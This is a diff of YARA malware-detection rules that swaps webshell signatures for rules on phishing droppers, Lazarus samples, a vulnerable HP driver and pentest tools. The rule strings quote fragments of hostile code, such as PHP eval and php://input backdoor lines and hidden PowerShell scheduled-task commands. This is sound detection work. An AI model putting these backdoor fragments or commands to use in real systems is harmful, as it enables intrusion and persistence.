+		logic_hash = "91fc1b4682c1490b916b11685e1ecc74a964d657e544c0b84e8301b299154d02"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "if (md5($_GET['usr'])==$user && md5($_GET['pass'])==$pass)" fullword
-		$s3 = "{eval($_GET['idc']);}" fullword
+		$s1 = "netsh.exe" fullword wide
+		$s2 = "routemon.exe" fullword wide
+		$s3 = "script=" fullword wide
+		$s4 = "disconnect" fullword wide
+		$s5 = "GetClusterResourceTypeKey" fullword ascii
+		$s6 = "QueryInformationJobObject" fullword ascii
+		$s7 = "interface" fullword wide
+		$s8 = "connect" fullword wide
+		$s9 = "FreeConsole" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <250KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Cpg_143_Incl_Xpl
+rule SIGNATURE_BASE_PHISH_02Dez2015_Dropped_P0O6543F_2 : FILE
 {
 	meta:
-		description = "Web Shell - file cpg_143_incl_xpl.php"
+		description = "Phishing Wave used MineExplorer Game by WangLei - file p0o6543f.exe.4"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "ed6f6dc8-5b5d-5a6f-a2a0-cb8a34c8931f"
+		date = "2015-12-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1027-L1041"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5937b131b67d8e0afdbd589251a5e176"
-		logic_hash = "7c2ce25c33e167761d72331d7c4d4f7cd6029ee0caf6e2008df8b12894faaaf8"
-		score = 70
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_phish_gina_dec15.yar#L31-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f5eb21d0f635171e1edcfecc909bc3508dfb6c32e7fdd7263edd5cd98e6ba411"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d6b21ded749b57042eede07c3af1956a3c9f1faddd22d2f78e43003a11ae496f"
+		hash2 = "561b16643992b92d37cf380bc2ed7cd106e4dcaf25ca45b4ba876ce59533fb02"
 
 	strings:
-		$s3 = "$data=\"username=\".urlencode($USER).\"&password=\".urlencode($PA"
-		$s5 = "fputs($sun_tzu,\"<?php echo \\\"Hi Master!\\\";ini_set(\\\"max_execution_time"
+		$s1 = "Email: W0067@990.net" fullword wide
+		$s2 = "MineExplorer Version 1.0" fullword wide
+		$s6 = "Copy Rights by WangLei 1999.4" fullword wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Mumaasp_Com
+rule SIGNATURE_BASE_PHISH_02Dez2015_Attach_P_ORD_C_10156_124658 : FILE
 {
 	meta:
-		description = "Web Shell - file mumaasp.com.asp"
+		description = "Phishing Wave - file P-ORD-C-10156-124658.xls"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "8989379a-6cd9-52ba-be18-5d402a440758"
+		date = "2015-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1042-L1055"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cce32b2e18f5357c85b6d20f564ebd5d"
-		logic_hash = "75e2a056782190e9914264b9e34002faea75a35ab0f97bf1e05dec15432d064c"
-		score = 70
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_phish_gina_dec15.yar#L49-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2820b024b371447eab71f153b6251776719cfe55e08cb2a3cda5ee6da29949d"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash2 = "e6c5b55586e9d99551adc27a0fc9c080cea6201fae60104b82d5a2ec518fafb6"
+		hash3 = "80f278b7268ea6814f8b336e07c5f4b03289519e199fbe4cbd9ef6a38cf25df6"
+		hash4 = "3a0a758525883a049a42312e46a023076c31af23b5e8e5b81fec56d51e4c80fb"
+		hash5 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash6 = "d9db7d32949c4df6a5d9d0292b576ae19681be7b6e0684df57338390e87fc6d6"
+		hash7 = "7bb705701ae73d377f6091515a140f0af57703719a67da9a60fad4544092ee6c"
+		hash8 = "e743c6e7749ab1046a2beea8733d7c8386ea60b43492bb4f0769ced6a2cee66d"
 
 	strings:
-		$s0 = "&9K_)P82ai,A}I92]R\"q!C:RZ}S6]=PaTTR"
+		$s1 = "Execute" ascii
+		$s2 = "Process WriteParameterFiles" fullword ascii
+		$s3 = "WScript.Shell" fullword ascii
+		$s4 = "STOCKMASTER" fullword ascii
+		$s5 = "InsertEmailFax" ascii
 
 	condition:
-		all of them
+		uint16(0)==0xcfd0 and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Php_404
+rule SIGNATURE_BASE_Lazarus_Dec_17_1 : FILE
 {
 	meta:
-		description = "Web Shell - file 404.php"
+		description = "Detects Lazarus malware from incident in Dec 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "f195ebf0-d7af-58e8-a544-769a0c8b628b"
+		date = "2017-12-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1056-L1069"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ced050df5ca42064056a7ad610a191b3"
-		logic_hash = "3fc928e6edda8fdc4220f57215db61b7fbf8de5b00423b219a173c8ecde40b79"
-		score = 70
+		reference = "https://goo.gl/8U6fY2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec17.yar#L12-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "50ff8418cf342147a81ef3a418e5e61d42f0e5764982e43b51d4dd3a983a548e"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48"
 
 	strings:
-		$s0 = "$pass = md5(md5(md5($pass)));" fullword
+		$s1 = "::DataSpace/Storage/MSCompressed/Transform/" ascii
+		$s2 = "HHA Version 4." ascii
+		$s3 = { 74 45 58 74 53 6F 66 74 77 61 72 65 00 41 64 6F
+              62 65 20 49 6D 61 67 65 52 65 61 64 79 71 }
+		$s4 = "bUEeYE" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5449 and filesize <4000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Webshell_Cnseay_X
+rule SIGNATURE_BASE_Lazarus_Dec_17_2 : FILE
 {
 	meta:
-		description = "Web Shell - file webshell-cnseay-x.php"
+		description = "Detects Lazarus malware from incident in Dec 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "45127fb5-0f70-5140-acd9-46147d365dfe"
+		date = "2017-12-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1070-L1083"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a0f9f7f5cd405a514a7f3be329f380e5"
-		logic_hash = "59cb8b8a5873b716a25096c7b12f09293a812b63f31fea07d919b9c4d2bc9a19"
-		score = 70
+		reference = "https://goo.gl/8U6fY2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec17.yar#L31-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "273cd54a0c3ecf53893de0ef9c41d784725eea6cc843e04df01cd8f29d61a797"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"
+		hash2 = "9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453"
 
 	strings:
-		$s9 = "$_F_F.='_'.$_P_P[5].$_P_P[20].$_P_P[13].$_P_P[2].$_P_P[19].$_P_P[8].$_P_"
+		$s1 = "SkypeSetup.exe" fullword wide
+		$s2 = "%s\\SkypeSetup.exe" fullword ascii
+		$s3 = "Skype Technologies S.A." fullword wide
+		$a1 = "Microsoft Code Signing PCA" ascii wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <7000KB and ( all of ($s*) and not $a1)
 }
-rule SIGNATURE_BASE_Webshell_Asp_Up
+rule SIGNATURE_BASE_Lazarus_Dec_17_4 : FILE
 {
 	meta:
-		description = "Web Shell - file up.asp"
+		description = "Detects Lazarus malware from incident in Dec 2017ithumb.js"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "fbdc6287-c177-53b5-83dd-979936f65192"
+		date = "2017-12-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1084-L1098"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f775e721cfe85019fe41c34f47c0d67c"
-		logic_hash = "dff2896d2226ade08e74147121a0e0036e8545dfff36b48b5a0771c9c7d537e9"
-		score = 70
+		reference = "https://goo.gl/8U6fY2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec17.yar#L53-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70801347699d339cb47cad03ec3f694b09a976e32b70052a97fade09fcac679d"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3"
+		hash2 = "7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e"
 
 	strings:
-		$s0 = "Pos = InstrB(BoundaryPos,RequestBin,getByteString(\"Content-Dispositio"
-		$s1 = "ContentType = getString(MidB(RequestBin,PosBeg,PosEnd-PosBeg))" fullword
+		$s1 = "var _0xf5ed=[\"\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\"," ascii
 
 	condition:
-		1 of them
+		filesize <9KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_Phpkit_0_1A_Odd
+rule SIGNATURE_BASE_Lazarus_Dec_17_5 : FILE
 {
 	meta:
-		description = "Web Shell - file odd.php"
+		description = "Detects Lazarus malware from incident in Dec 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "33bd8c08-123e-5a8e-b5dc-02af7291addc"
+		date = "2017-12-20"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1099-L1115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3c30399e7480c09276f412271f60ed01"
-		logic_hash = "745734658ed4000e1399531ae44125f8462ecd37388e6223cfa9bf91dbb52bbc"
-		score = 70
+		reference = "https://goo.gl/8U6fY2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_dec17.yar#L69-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "480ec19f7050d34713ed621ae9ec5d5463b1cc4710b473465cc78e533796d2e4"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471"
 
 	strings:
-		$s1 = "include('php://input');" fullword
-		$s3 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
-		$s4 = "// uses include('php://input') to execute arbritary code" fullword
-		$s5 = "// php://input based backdoor" fullword
+		$x1 = "$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden -ArgumentList" fullword ascii
+		$x2 = "$respTxt = HttpRequestFunc_doprocess -szURI $szFullURL -szMethod $szMethod -contentData $contentData;" fullword ascii
+		$x3 = "[String]$PS_PATH = \"C:\\\\Users\\\\Public\\\\Documents\\\\ProxyAutoUpdate.ps1\";" fullword ascii
+		$x4 = "$cmdSchedule = 'schtasks /create /tn \"ProxyServerUpdater\"" ascii
+		$x5 = "/tr \"powershell.exe -ep bypass -windowstyle hidden -file " ascii
+		$x6 = "C:\\\\Users\\\\Public\\\\Documents\\\\tmp' + -join " ascii
+		$x7 = "$cmdResult = cmd.exe /c $cmdInst | Out-String;" fullword ascii
+		$x8 = "whoami /groups | findstr /c:\"S-1-5-32-544\"" fullword ascii
 
 	condition:
-		2 of them
+		filesize <500KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_ASP_Cmd
+rule SIGNATURE_BASE_SUSP_Vulndriver_HP_Hardware_Diagnostics_Etdsupp_May23 : FILE
 {
 	meta:
-		description = "Web Shell - file cmd.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Detects vulnerable versions of the HP Hardware Diagnostics driver (etdsupp.sys) based on PE metadata info"
+		author = "X__Junior (Nextron Systems)"
+		id = "8f838e4f-3e3e-5131-9d67-e49f6848bb37"
+		date = "2023-05-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1116-L1129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "97af88b478422067f23b001dd06d56a9"
-		logic_hash = "c1353e43876e18f18638a558a29a12d6e82603641fedd81b042adca91fea0d18"
-		score = 70
+		reference = "https://github.com/alfarom256/HPHardwareDiagnostics-PoC/tree/main/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/susp_vulndriver_hp_hardware_diagnostics_etdsupp_may23.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
+		logic_hash = "bb50f591e49b1b0b08ccbe4ca5cb3685d8f358e51e6d6f77677bc05701f6b301"
+		score = 65
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s1 = {4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 65 00 74 00 64 00 73 00 75 00 70 00 70 00 2e 00 73 00 79 00 73 00}
+		$s2 = "etdsupp.pdb"
+		$s3 = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}([\x00-\xff]{2}[\x00-\x11]\x00[\x00-\xff]{4}|\x00\x00\x12\x00\x00\x00\x00\x00)/
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and int16 ( uint32(0x3C)+0x5c)==0x0001 and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Shell_X3
+import "pe"
+
+rule SIGNATURE_BASE_Cmstar_Malware_Sep17 : FILE
 {
 	meta:
-		description = "Web Shell - file PHP Shell.php"
+		description = "Detects CMStar Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "d6c9cd7f-06ce-5641-b9b2-c81daf18628d"
+		date = "2017-10-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1130-L1145"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a2f8fa4cce578fc9c06f8e674b9e63fd"
-		logic_hash = "7361a7eecf345b9c1809294b6b081db8769805ec3e6c656adc4ac87261193683"
-		score = 70
+		reference = "https://goo.gl/pTffPA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cmstar.yar#L13-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "498b6a3e02cf4979babe6379c2d6b3529d2a28210d44a8ce05aef1acdd325953"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5"
 
 	strings:
-		$s4 = "&nbsp;&nbsp;<?php echo buildUrl(\"<font color=\\\"navy\\\">["
-		$s6 = "echo \"</form><form action=\\\"$SFileName?$urlAdd\\\" method=\\\"post\\\"><input"
-		$s9 = "if  ( ( (isset($http_auth_user) ) && (isset($http_auth_pass)) ) && ( !isset("
+		$s1 = "UpdateService.tmp" fullword ascii
+		$s2 = "StateNum:%d,FileSize:%d" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="22021985de78a48ea8fb82a2ff9eb693" or pe.exports("WinCred") or all of them )
 }
-rule SIGNATURE_BASE_Webshell_PHP_G00Nv13
+rule SIGNATURE_BASE_Visualdiscovery_Lonovo_Superfish_SSL_Hijack : FILE
 {
 	meta:
-		description = "Web Shell - file g00nv13.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Lenovo Superfish SSL Interceptor - file VisualDiscovery.exe"
+		author = "Florian Roth (Nextron Systems) / improved by kbandla"
+		id = "200c016e-7ad8-5b58-be5f-7866e91d60e9"
+		date = "2015-02-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1146-L1160"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "35ad2533192fe8a1a76c3276140db820"
-		logic_hash = "dd9f03a7ad0d2b73f7a8602ab267e0e8e5cb1f9250f9a25c86ded3797df2f8d5"
-		score = 70
+		reference = "https://twitter.com/4nc4p/status/568325493558272000"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/threat_lenovo_superfish.yar#L4-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f156a51dccafe32467b64251507928b1c7a1b04595063aa66aa69da6c4cc4fc"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "99af9cfc7ab47f847103b5497b746407dc566963"
+		hash2 = "f0b0cd0227ba302ac9ab4f30d837422c7ae66c46"
+		hash3 = "f12edf2598d8f0732009c5cd1df5d2c559455a0b"
+		hash4 = "343af97d47582c8150d63cbced601113b14fcca6"
 
 	strings:
-		$s1 = "case \"zip\": case \"tar\": case \"rar\": case \"gz\": case \"cab\": cas"
-		$s4 = "if(!($sqlcon = @mysql_connect($_SESSION['sql_host'] . ':' . $_SESSION['sql_p"
+		$s2 = "Invalid key length used to initialize BlowFish." fullword ascii
+		$s3 = "GetPCProxyHandler" fullword ascii
+		$s4 = "StartPCProxy" fullword ascii
+		$s5 = "SetPCProxyHandler" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2MB and all of ($s*)
 }
-rule SIGNATURE_BASE_Webshell_Php_H6Ss
+rule SIGNATURE_BASE_CN_Honker_MAC_IPMAC : FILE
 {
 	meta:
-		description = "Web Shell - file h6ss.php"
+		description = "Sample from CN Honker Pentest Toolset - file IPMAC.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "5424d3a7-765a-5dfb-9177-d5633f83079f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1161-L1174"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "272dde9a4a7265d6c139287560328cd5"
-		logic_hash = "c4001be111ff271335dd65c15c59da979a8e202bcf58a7f10de7f03644472153"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L10-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "24d55b6bec5c9fff4cd6f345bacac7abadce1611"
+		logic_hash = "395dfb840346bbf3f68fa198e76349cf65c703b28fd168b85d846d07df1845fe"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?php eval(gzuncompress(base64_decode(\""
+		$s1 = "Http://Www.YrYz.Net" fullword wide
+		$s2 = "IpMac.txt" fullword ascii
+		$s3 = "192.168.0.1" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <267KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Zx
+rule SIGNATURE_BASE_CN_Honker_Getsyskey : FILE
 {
 	meta:
-		description = "Web Shell - file zx.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file GetSyskey.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "08f5b5b1-3085-5bf1-9789-023be5a039f8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1175-L1188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "67627c264db1e54a4720bd6a64721674"
-		logic_hash = "d97df624801d0f24141dfe7074d290a56e639af7d867c907362ff4434c3eeac0"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L28-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17cec5e75cda434d0a1bc8cdd5aa268b42633fe9"
+		logic_hash = "1f12ea9d62d4aaf695328fb335445f3dae3996595402586d2ee52098e6727d10"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.g"
+		$s2 = "GetSyskey <SYSTEM registry file> [Output system key file]" fullword ascii
+		$s4 = "The system key file \"%s\" is created." fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <40KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Ani_Shell
+rule SIGNATURE_BASE_CN_Honker_Churrasco : FILE
 {
 	meta:
-		description = "Web Shell - file Ani-Shell.php"
+		description = "Sample from CN Honker Pentest Toolset - file Churrasco.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "58873cd6-0c9e-58a0-923a-aca8a1d42017"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1189-L1204"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "889bfc9fbb8ee7832044fc575324d01a"
-		logic_hash = "c8caf8686c36a41b5aae093e88b8872350cf625c59a14389c5df93f284c8f05a"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L45-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5a3c935d82a5ff0546eff51bb2ef21c88198f5b8"
+		logic_hash = "f60589bda76367578388cbe6af912c80c9364a7047ed52ca2b4156a1b277e7ca"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$Python_CODE = \"I"
-		$s6 = "$passwordPrompt = \"\\n================================================="
-		$s7 = "fputs ($sockfd ,\"\\n==============================================="
+		$s0 = "HEAD9 /" ascii
+		$s1 = "logic_er" fullword ascii
+		$s6 = "proggam" fullword ascii
+		$s16 = "DtcGetTransactionManagerExA" fullword ascii
+		$s17 = "GetUserNameA" fullword ascii
+		$s18 = "OLEAUT" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <1276KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_K8Cmd
